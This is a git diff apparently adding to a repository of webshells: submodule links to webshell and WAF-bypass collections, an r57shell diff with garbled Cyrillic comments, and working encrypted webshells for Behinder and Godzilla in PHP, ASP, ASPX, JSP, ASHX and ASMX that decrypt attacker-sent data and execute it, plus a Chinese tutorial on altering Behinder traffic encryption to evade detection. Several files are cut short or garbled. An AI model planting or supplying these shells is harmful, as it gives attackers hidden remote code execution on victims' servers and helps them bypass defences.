diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
new file mode 100644
index 00000000..9d4faec3
--- /dev/null
+++ b/.github/FUNDING.yml
@@ -0,0 +1,12 @@
+# These are supported funding model platforms
+
+github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
+patreon: # Replace with a single Patreon username
+open_collective: # Replace with a single Open Collective username
+ko_fi: # Replace with a single Ko-fi username
+tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
+community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
+liberapay: # Replace with a single Liberapay username
+issuehunt: # Replace with a single IssueHunt username
+otechie: # Replace with a single Otechie username
+custom: # Replace with a single custom sponsorship URL
diff --git a/.gitmodules b/.gitmodules
new file mode 100644
index 00000000..c118bf43
--- /dev/null
+++ b/.gitmodules
@@ -0,0 +1,78 @@
+[submodule "xl7dev/WebShell"]
+ path = xl7dev/WebShell
+ url = https://github.com/xl7dev/WebShell
+[submodule "JohnTroony/php-webshells"]
+ path = JohnTroony/php-webshells
+ url = https://github.com/JohnTroony/php-webshells
+[submodule "BlackArch/webshells"]
+ path = BlackArch/webshells
+ url = https://github.com/BlackArch/webshells
+[submodule "LandGrey/webshell-detect-bypass"]
+ path = LandGrey/webshell-detect-bypass
+ url = https://github.com/LandGrey/webshell-detect-bypass
+[submodule "JoyChou93/webshell"]
+ path = JoyChou93/webshell
+ url = https://github.com/JoyChou93/webshell
+[submodule "bartblaze/PHP-backdoors"]
+ path = bartblaze/PHP-backdoors
+ url = https://github.com/bartblaze/PHP-backdoors
+[submodule "WangYihang/Webshell-Sniper"]
+ path = WangYihang/Webshell-Sniper
+ url = https://github.com/WangYihang/Webshell-Sniper
+[submodule "threedr3am/JSP-Webshells"]
+ path = threedr3am/JSP-Webshells
+ url = https://github.com/threedr3am/JSP-Webshells
+[submodule "DeEpinGh0st/PHP-bypass-collection"]
+ path = DeEpinGh0st/PHP-bypass-collection
+ url = https://github.com/DeEpinGh0st/PHP-bypass-collection
+[submodule "lcatro/PHP-WebShell-Bypass-WAF"]
+ path = lcatro/PHP-WebShell-Bypass-WAF
+ url = https://github.com/lcatro/PHP-WebShell-Bypass-WAF
+[submodule "ysrc/webshell-sample"]
+ path = ysrc/webshell-sample
+ url = https://github.com/ysrc/webshell-sample
+[submodule "tanjiti/webshellSample"]
+ path = tanjiti/webshellSample
+ url = https://github.com/tanjiti/webshellSample
+[submodule "webshellpub/awsome-webshell"]
+ path = webshellpub/awsome-webshell
+ url = https://github.com/webshellpub/awsome-webshell
+[submodule "tdifg/WebShell"]
+ path = tdifg/WebShell
+ url = https://github.com/tdifg/WebShell
+[submodule "malwares/WebShell"]
+ path = malwares/WebShell
+ url = https://github.com/malwares/WebShell
+[submodule "lhlsec/webshell"]
+ path = lhlsec/webshell
+ url = https://github.com/lhlsec/webshell
+[submodule "oneoneplus/webshell"]
+ path = oneoneplus/webshell
+ url = https://github.com/oneoneplus/webshell
+[submodule "vnhacker1337/Webshell"]
+ path = vnhacker1337/Webshell
+ url = https://github.com/vnhacker1337/Webshell
+[submodule "backlion/webshell"]
+ path = backlion/webshell
+ url = https://github.com/backlion/webshell
+[submodule "AntSwordProject/AwesomeScript"]
+ path = AntSwordProject/AwesomeScript
+ url = https://github.com/AntSwordProject/AwesomeScript
+[submodule "cseroad/Webshell_Generate"]
+ path = cseroad/Webshell_Generate
+ url = https://github.com/cseroad/Webshell_Generate
+[submodule "rexSurprise/webshell-free"]
+ path = rexSurprise/webshell-free
+ url = https://github.com/rexSurprise/webshell-free
+[submodule "0xAbbarhSF/CTF-WebShells-"]
+ path = 0xAbbarhSF/CTF-WebShells-
+ url = https://github.com/0xAbbarhSF/CTF-WebShells-
+[submodule "zxc7528064/-WebShell-"]
+ path = zxc7528064/-WebShell-
+ url = https://github.com/zxc7528064/-WebShell-
+[submodule "xl7dev/WebShell"]
+ path = xl7dev/WebShell
+ url = https://github.com/xl7dev/WebShell
+[submodule "xl7dev/WebShell/Other/Webshell"]
+ path = xl7dev/WebShell/Other/Webshell
+ url = https://github.com/xl7dev/WebShell
diff --git a/0xAbbarhSF/CTF-WebShells-/CTF-WebShells--main.zip b/0xAbbarhSF/CTF-WebShells-/CTF-WebShells--main.zip
new file mode 100644
index 00000000..2ff236d7
Binary files /dev/null and b/0xAbbarhSF/CTF-WebShells-/CTF-WebShells--main.zip differ
diff --git a/0xAbbarhSF/CTF-WebShells-/README.md b/0xAbbarhSF/CTF-WebShells-/README.md
new file mode 100644
index 00000000..9d87ef0b
--- /dev/null
+++ b/0xAbbarhSF/CTF-WebShells-/README.md
@@ -0,0 +1,7 @@
+# CTF-WebShells-
+Collection of some Handy Capture The Flag 🟩 Web Shells .. Enjoy:D
+
+
+
+
+My Twitter: - 🕊️ [@0xAbbarhSF](https://twitter.com/0xAbbarhSF)
diff --git a/138shell/R/r57 Shell.php.txt b/138shell/R/r57 Shell.php.txt
index 51ca60e3..28bc445a 100644
--- a/138shell/R/r57 Shell.php.txt
+++ b/138shell/R/r57 Shell.php.txt
@@ -22,15 +22,15 @@
/*
/*
/*
-/* r57shell.php -
-/* : http://rst.void.ru
-/* : 1.22
+/* r57shell.php - ñêðèïò íà ïõï ïîçâîëÿþùèé âàì âûïîëíÿòü øåëë êîìàíäû íà ñåðâåðå ÷åðåç áðàóçåð
+/* Âû ìîæåòå ñêà÷àòü íîâóþ âåðñèþ íà íàøåì ñàéòå: http://rst.void.ru
+/* Âåðñèÿ: 1.22
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* (c)oded by 1dt.w0lf
/* RST/GHC http://rst.void.ru , http://ghc.ru
/******************************************************************************************************/
-/* ~~~ ~~~ */
+/* ~~~ Íàñòðîéêè ~~~ */
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@@ -56,12 +56,12 @@ if (@get_magic_quotes_gpc())
}
}
-/* ~~~ ~~~ */
+/* ~~~ Àóòåíòèôèêàöèÿ ~~~ */
-//
-// !!!
-$name="r57"; //
-$pass="r57"; //
+// Ëîãèí è ïàðîëü äëÿ äîñòóïà ê ñêðèïòó
+// ÍÅ ÇÀÁÓÄÜÒÅ ÑÌÅÍÈÒÜ ÏÅÐÅÄ ÐÀÇÌÅÙÅÍÈÅÌ ÍÀ ÑÅÐÂÅÐÅ!!!
+$name="r57"; // ëîãèí ïîëüçîâàòåëÿ
+$pass="r57"; // ïàðîëü ïîëüçîâàòåëÿ
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!=$name || $_SERVER['PHP_AUTH_PW']!=$pass)
{
@@ -69,7 +69,7 @@ if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!=$name || $_S
header("HTTP/1.0 401 Unauthorized");
exit("r57shell : Access Denied");
}
-$head = '
+$head = '
";
$table_up3 = "| ";
$table_end1 = " | ";
-$arrow = " ";
+$arrow = " è";
$lb = "[";
$rb = "]";
$font = "";
@@ -513,10 +513,10 @@ $windows = 0;
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
if(empty($dir))
- { //
+ { // íà ñëó÷àé åñëè íå óäàëîñü ïîëó÷èòü äèðåêòîðèþ
$os = getenv('OS');
- if(empty($os)){ $os = php_uname(); } // php_uname()
- if(empty($os)){ $os ="-"; $unix=1; } // unix =)
+ if(empty($os)){ $os = php_uname(); } // ïðîáóåì ïîëó÷èòü ÷åðåç php_uname()
+ if(empty($os)){ $os ="-"; $unix=1; } // åñëè íè÷åãî íå ïîëó÷èëîñü òî áóäåò unix =)
else
{
if(@eregi("^win",$os)) { $windows = 1; }
@@ -565,9 +565,9 @@ if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd'])
die(); // show founded strings and die
}
-/* safe_mode. */
-/* cmd.exe */
-/* php.ini disable_functions */
+/* Ïðîâåðêà òîãî ìîæåì ëè ìû âûïîëíÿòü êîìàíäû ïðè âûêëþ÷åííîì safe_mode. Åñëè íåò òî ñ÷èòàåì ÷òî ñåéô âêëþ÷åí */
+/* Îáõîäèò íåâîçìîæíîñòü âûïîëíåíèÿ êîìàíä íà âèíäå êîãäà ñåéô âûêëþ÷åí íî cmd.exe ïåðåèìåíîâàí */
+/* ëèáî êîãäà â php.ini ïðîïèñàíû disable_functions */
if($windows&&!$safe_mode)
{
$uname = ex("ver");
@@ -632,7 +632,7 @@ function ex($cfe)
/* write error */
function we($i)
{
-if($GLOBALS['language']=="ru"){ $text = '! '; }
+if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó çàïèñàòü â ôàéë '; }
else { $text = "[-] ERROR! Can't write in file "; }
echo "";
}
@@ -640,7 +640,7 @@ echo "";
}
@@ -648,7 +648,7 @@ echo "";
}
@@ -1022,25 +1022,7 @@ DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSU
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
/* --- END datapipe.pl ----------------------------------------------------------------------------------------- */
-$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2
-JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l
-lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
-FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L
-3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr
-J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR
-oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj
-xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO
-i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv
-dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB
-ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2
-hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==";
-$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh
-IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
-hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
-tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
-XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
-8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
-ybmV0LS0+";
+
/*** END base64 ------------------------------------------------------------------------------------------------ */
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
@@ -1468,7 +1450,7 @@ else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump"))
}
-//
+// íå çàâèñèò îò ñåéôà
if ($_POST['cmd']=="php_eval")
{
$eval = @str_replace("","",$_POST['php_eval']);
@@ -1476,7 +1458,7 @@ if ($_POST['cmd']=="php_eval")
@eval($eval);
}
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
-/* mysql */
+/* mysql äàìï */
if ($_POST['cmd']=="mysql_dump")
{
if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
@@ -1487,7 +1469,7 @@ if ($_POST['cmd']=="mysql_dump")
if(@mysql_select_db($_POST['mysql_db'],$db))
{
- //
+ // èíôà î äàìïå
$sql1 = "# MySQL dump created by r57shell\r\n";
$sql1 .= "# homepage: http://rst.void.ru\r\n";
$sql1 .= "# ---------------------------------\r\n";
@@ -1496,7 +1478,7 @@ if ($_POST['cmd']=="mysql_dump")
$sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n";
$sql1 .= "# ---------------------------------\r\n\r\n";
- //
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
$res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
$row = @mysql_fetch_row($res);
$sql1 .= $row[1]."\r\n\r\n";
@@ -1504,7 +1486,7 @@ if ($_POST['cmd']=="mysql_dump")
$sql2 = '';
- //
+ // ïîëó÷àåì äàííûå òàáëèöû
$res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
if (@mysql_num_rows($res) > 0) {
while ($row = @mysql_fetch_assoc($res)) {
@@ -1516,7 +1498,7 @@ if ($_POST['cmd']=="mysql_dump")
}
$sql2 .= "\r\n# ---------------------------------";
}
- //
+ // ïèøåì â ôàéë èëè âûâîäèì â áðàóçåð
if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
else { echo $sql1.$sql2; }
} // end if(@mysql_select_db($_POST['mysql_db'],$db))
diff --git a/AntSwordProject/AwesomeScript b/AntSwordProject/AwesomeScript
new file mode 160000
index 00000000..dbcc5083
--- /dev/null
+++ b/AntSwordProject/AwesomeScript
@@ -0,0 +1 @@
+Subproject commit dbcc508338412ad6676713c13bf0c47247f89e5c
diff --git a/Behinder/Behinder_v3.0_Beta_1.zip b/Behinder/Behinder_v3.0_Beta_1.zip
new file mode 100644
index 00000000..72ec8fed
Binary files /dev/null and b/Behinder/Behinder_v3.0_Beta_1.zip differ
diff --git a/Behinder/readme.md b/Behinder/readme.md
new file mode 100644
index 00000000..3c198794
--- /dev/null
+++ b/Behinder/readme.md
@@ -0,0 +1,36 @@
+## [Behinder](https://github.com/rebeyond/Behinder)
+
+Author:[rebeyond](https://github.com/rebeyond)
+
+Latest version updata Behinder_v4.0.2
+
+Download link:
+
+https://github.com/rebeyond/Behinder/releases
+
+How to use by video:
+
+https://www.bilibili.com/video/BV1TV4y1E7k4
+
+### [ByPassBehinder / 冰蝎WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder)
+
+Author:Tas9er @A.E.0.S Security Team
+
+❌风险概述:
+
+本工具仅限授权安全测试使用,禁止非法攻击未授权站点
+
+✴️文件MD5值校对
+
+文件:ByPassBehinder.exe
+
+MD5 HASH:04caea5648786157fb65dd51d2bc061e
+
+### [ByPassBehinder4J / 冰蝎Java WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder4J)
+
+Author:Tas9er @A.E.0.S Security Team
+
+
+
+
+### 安全自测
diff --git a/Behinder/shell-2021-03-18.php b/Behinder/shell-2021-03-18.php
new file mode 100644
index 00000000..0e4f4ad6
--- /dev/null
+++ b/Behinder/shell-2021-03-18.php
@@ -0,0 +1,35 @@
+ $post[$i]^$key[$i+1&15]];
+ $post[$i]=$tmp[$post[$i]];
+ }
+ }
+ else
+ {
+ $post=openssl_decrypt($post, "AES128", $key);
+ }
+ $arr=explode('|',$post);
+ $func=$arr[0];
+ $params=$arr[1];
+ class C{public function __construct($p) {eval($p."");}}
+ @new C($params);
+}
+?>
diff --git a/Behinder/shell-2021-04-23.php b/Behinder/shell-2021-04-23.php
new file mode 100644
index 00000000..c0d3ecc7
--- /dev/null
+++ b/Behinder/shell-2021-04-23.php
@@ -0,0 +1,28 @@
+
diff --git a/Behinder/shell.asp b/Behinder/shell.asp
new file mode 100644
index 00000000..1a23fa6c
--- /dev/null
+++ b/Behinder/shell.asp
@@ -0,0 +1,11 @@
+<%
+Response.CharSet = "UTF-8"
+Session("k")=k
+k=Session("k")
+size=Request.TotalBytes
+content=Request.BinaryRead(size)
+For i=1 To size
+result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
+Next
+execute(result)
+%>
diff --git a/Behinder/shell.aspx b/Behinder/shell.aspx
new file mode 100644
index 00000000..17743899
--- /dev/null
+++ b/Behinder/shell.aspx
@@ -0,0 +1 @@
+<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
\ No newline at end of file
diff --git a/Behinder/shell.jsp b/Behinder/shell.jsp
new file mode 100644
index 00000000..63fb12b7
--- /dev/null
+++ b/Behinder/shell.jsp
@@ -0,0 +1 @@
+AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb
\ No newline at end of file
diff --git a/Behinder/shell.php b/Behinder/shell.php
new file mode 100644
index 00000000..35a2923c
--- /dev/null
+++ b/Behinder/shell.php
@@ -0,0 +1,29 @@
+
diff --git a/Behinder/shell2020-12-06.php b/Behinder/shell2020-12-06.php
new file mode 100644
index 00000000..e4061474
--- /dev/null
+++ b/Behinder/shell2020-12-06.php
@@ -0,0 +1,26 @@
+$f[0](end($f))];
+$post=$post["bie"];
+if(!extension_loaded('openssl'))
+{
+ $post=$f[1]($post."");
+
+ for($i=0;$i
diff --git "a/Behinder/\347\256\200\345\215\225\347\232\204\345\206\260\350\235\216\346\265\201\351\207\217\351\255\224\346\224\271.md" "b/Behinder/\347\256\200\345\215\225\347\232\204\345\206\260\350\235\216\346\265\201\351\207\217\351\255\224\346\224\271.md"
new file mode 100644
index 00000000..39eabc54
--- /dev/null
+++ "b/Behinder/\347\256\200\345\215\225\347\232\204\345\206\260\350\235\216\346\265\201\351\207\217\351\255\224\346\224\271.md"
@@ -0,0 +1,64 @@
+感觉冰蝎流量魔改的文章比较少,我自己琢磨了一下,感觉简单地做个流量魔改并不复杂,发出来供大家参考。我自己是个Java笨比,有问题的地方欢迎大佬们评论区指正共同学习。
+
+0x00 冰蝎源码
+---------
+
+冰蝎源码的获取,可以下载冰蝎,用idea自带的反编译工具去反编译,我这里直接用github搜到的别人整理好的反编译代码了([https://github.com/x1a0t/Behinder-Source)](https://github.com/x1a0t/Behinder-Source%EF%BC%89)
+
+0x01 Crypt.java的修改
+------------------
+
+### (1)加密函数
+
+在Crypt.java中,可以修改Encrypt、EncryptForPhp这类加密函数的逻辑,比如在返回结果数据前,对结果做自定义的加密处理。我这里的例子就是在原有的AES基础上做了个base64编码。
+note:`public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)`这个函数不用改。
+我看了下,这个函数是在进最后的return前进了其他被改了逻辑的加密函数(比如EncryptForPhp),其他函数改过了,这里就不用动了。我最开始没仔细看代码的时候想着,人家写了个汇总函数在这里改应该挺快捷的,结果发现这里虽然写了个汇总的函数,但是有些时候调用加密还是调用了具体的加密函数(比如:EncryptForPhp),所以这里就不用管这个函数了。
+修改的例子:
+[
+](https://xzfile.aliyuncs.com/media/upload/picture/20220710203841-3a665d52-004d-1.png)
+[
+](https://xzfile.aliyuncs.com/media/upload/picture/20220710203848-3f1843d8-004d-1.png)
+
+### (2)解密函数
+
+修改Crypt.java里的Decrypt函数(我这里是做的base64编解码,只要在这个总的Decrypt函数开头做一次解码就行了,各位大佬们可以根据自己选用的编解码方式,自行修改这些Decrypt函数):
+[
+](https://xzfile.aliyuncs.com/media/upload/picture/20220710204208-b60f5558-004d-1.png)
+
+0x02 payload的修改
+---------------
+
+我自己对jsp马做了个简单的跟踪调试,发现解密函数解密的流量,应该是被客户端塞进去的payload里的xxx.class发出来的,这些流量发出来之前会调用payload里xxx.class的Encrypt()函数做个流量加密。所以这里的思路是,把payload里存在Encrypt()函数的xxx.class的Encrypt()函数加密逻辑都修改一下,就能贯通整个加解密通讯流程了。
+具体操作还是以jsp增加base64编码举例子:
+因为演示的是jsp的部分,就去修改net.rebeyond.behinder.payload.java下面的Java代码文件,找到里面的Encrypt()函数(payload里的Java代码,挨个找找改一下,并不是每一个文件都有Encrypt,这里没有就不管),去修改加密逻辑就行了
+[
+](https://xzfile.aliyuncs.com/media/upload/picture/20220710204655-612c50b2-004e-1.png)
+note:`别的语言的payload里的加密函数也叫encrypt(最多有些大小写区别),但是要修改的话需要用对应的语言去修改(其中,C#的是dll文件,需要额外的姿势,欢迎评论区老哥补充这方面方便的思路)`
+以php为例子,加密函数修改如下:
+[
+](https://xzfile.aliyuncs.com/media/upload/picture/20220710205003-d10f6fae-004e-1.png)
+
+0x03 webshell马子的修改
+------------------
+
+以jsp为例,这里就是在原本的base64解码里又套了一层base64解码:
+
+```
+<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>
+```
+
+0x04 打包与测试
+----------
+
+用maven做package打包,完成后要用的是名字长的那个jar包(Behinder-3.0-beta-11\_t00ls-jar-with-dependencies.jar)
+[
+](https://xzfile.aliyuncs.com/media/upload/picture/20220710205545-9d414f66-004f-1.png)
+本地运行,测试(命令执行、内网穿透等功能正常,不过数据库连接功能拉闸了):
+[
+](https://xzfile.aliyuncs.com/media/upload/picture/20220710205614-ae3af2cc-004f-1.png)
+[
+](https://xzfile.aliyuncs.com/media/upload/picture/20220710205624-b47b1856-004f-1.png)
+
+有两个还没解决的东西:
+1.C#部分的dll文件处理(欢迎老哥们在评论区发点儿快捷的处理方法、思路)
+2.数据库连接功能出现了bug(暂时还没去调试,老哥们有知道的欢迎评论区重拳出击)
diff --git a/BlackArch/webshells b/BlackArch/webshells
new file mode 160000
index 00000000..0701fcb2
--- /dev/null
+++ b/BlackArch/webshells
@@ -0,0 +1 @@
+Subproject commit 0701fcb26c92403fa8a45a1794a2c9fb3811850a
diff --git a/DeEpinGh0st/PHP-bypass-collection b/DeEpinGh0st/PHP-bypass-collection
new file mode 160000
index 00000000..8d1e82f0
--- /dev/null
+++ b/DeEpinGh0st/PHP-bypass-collection
@@ -0,0 +1 @@
+Subproject commit 8d1e82f0084b9cfbb31ba16bd3d4de64642d1700
diff --git a/Godzilla/123.ashx b/Godzilla/123.ashx
new file mode 100644
index 00000000..c902aad5
--- /dev/null
+++ b/Godzilla/123.ashx
@@ -0,0 +1,17 @@
+<%@ Language="C#" Class="Handler1" %>
+ public class Handler1 : System.Web.IHttpHandler,System.Web.SessionState.IRequiresSessionState
+ {
+
+ public void ProcessRequest(System.Web.HttpContext Context)
+ {
+ try{string key = "202cb962ac59075b";string pass = "123";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(data); byte[] r = System.Convert.FromBase64String(o.ToString()); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){}
+ }
+
+ public bool IsReusable
+ {
+ get
+ {
+ return false;
+ }
+ }
+ }
\ No newline at end of file
diff --git a/Godzilla/123.asmx b/Godzilla/123.asmx
new file mode 100644
index 00000000..37d9d45f
--- /dev/null
+++ b/Godzilla/123.asmx
@@ -0,0 +1,14 @@
+<%@ WebService Language="C#" Class="WebService1" %>
+public class WebService1 : System.Web.Services.WebService
+{
+ public WebService1() {
+ try{string key = "202cb962ac59075b";string pass = "123";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(data); byte[] r = System.Convert.FromBase64String(o.ToString()); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){}
+ }
+
+ [System.Web.Services.WebMethod(EnableSession = true)]
+ public void Test()
+ {
+
+ }
+
+}
\ No newline at end of file
diff --git a/Godzilla/123.aspx b/Godzilla/123.aspx
new file mode 100644
index 00000000..fc8cde66
--- /dev/null
+++ b/Godzilla/123.aspx
@@ -0,0 +1 @@
